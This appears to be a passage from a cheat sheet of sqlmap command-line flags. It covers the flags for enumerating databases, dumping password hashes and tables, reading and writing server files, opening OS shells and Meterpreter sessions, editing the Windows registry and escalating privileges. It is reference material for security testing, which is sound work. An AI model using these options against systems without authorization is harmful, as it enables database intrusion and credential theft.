-f / --fingerprint Extensive DBMS fingerprinting

#Enumeration Flags

Flag Description
-a / --all Retrieve all accessible data
-b / --banner DBMS version banner
--current-user Current DB user
--current-db Current database
--hostname Server hostname
--is-dba Check if user is DBA
--users Enumerate DBMS users
--passwords Dump user password hashes
--privileges User privileges
--roles User roles (Oracle)
--dbs List all databases
--tables Enumerate tables
--columns Enumerate columns
--schema Full DBMS schema
--count Row count per table
--dump Dump table entries
--dump-all Dump all tables
--search Search columns/tables/DBs
--comments Check DBMS comments
--statements Currently running SQL
-D <db> Target database
-T <tbl> Target table
-C <col> Target column(s)
-U <user> Target user
--exclude-sysdbs Skip system databases
--pivot-column=<c> Pivot column for dump
--where=<cond> WHERE filter for dump
--start=N First row to dump
--stop=N Last row to dump
--first=N First char to retrieve
--last=N Last char to retrieve
--sql-query=<q> Execute custom SQL
--sql-shell Interactive SQL shell
--sql-file=<f> Execute SQL from file
--common-tables Brute-force table names
--common-columns Brute-force column names

#OS, File & General Flags

Flag Description
--file-read=<path> Read file from server
--file-write=<src> Local file to upload
--file-dest=<dst> Remote destination path
--os-cmd=<cmd> Execute single OS command
--os-shell Interactive OS shell
--os-pwn OOB shell / Meterpreter / VNC
--os-smbrelay SMB relay (Windows)
--os-bof Buffer overflow exploit
--priv-esc Database privilege escalation
--msf-path=<p> Metasploit Framework path
--udf-inject Inject custom UDF
--shared-lib=<f> Shared library path for UDF
--reg-read Read Windows registry value
--reg-add Write Windows registry value
--reg-del Delete Windows registry value
--reg-key=<k> Registry key path
--reg-value=<v> Registry value name
--reg-data=<d> Registry value data
--reg-type=<t> Registry value type
--batch Never prompt (use defaults)
--threads=N Concurrent requests (max 10)
-o Enable all optimizations
--keep-alive Persistent connections
--null-connection Length-only requests
--predict-output Predict common query output
-s <file> Load stored session file
-t <file> Log HTTP traffic
--output-dir=<d> Custom output directory
--dump-format=<f> CSV / HTML / SQLITE
--hex Use hex encoding for retrieval
--charset=<c> Blind injection charset
--crawl=N Crawl depth
--forms Auto-detect and test forms
--flush-session Clear session data
--fresh-queries Ignore result cache
--parse-errors Show DBMS error messages
--answers=<a> Pre-define prompt answers
--eta Show estimated time
--beep Beep on vulnerability found
--list-tampers List all tamper scripts
--update Update sqlmap
--purge Delete all sqlmap output data
-v <0-6> Verbosity level
-z <mnemonics> Short option mnemonics

#Also See

#Cyber Aurelien Guidi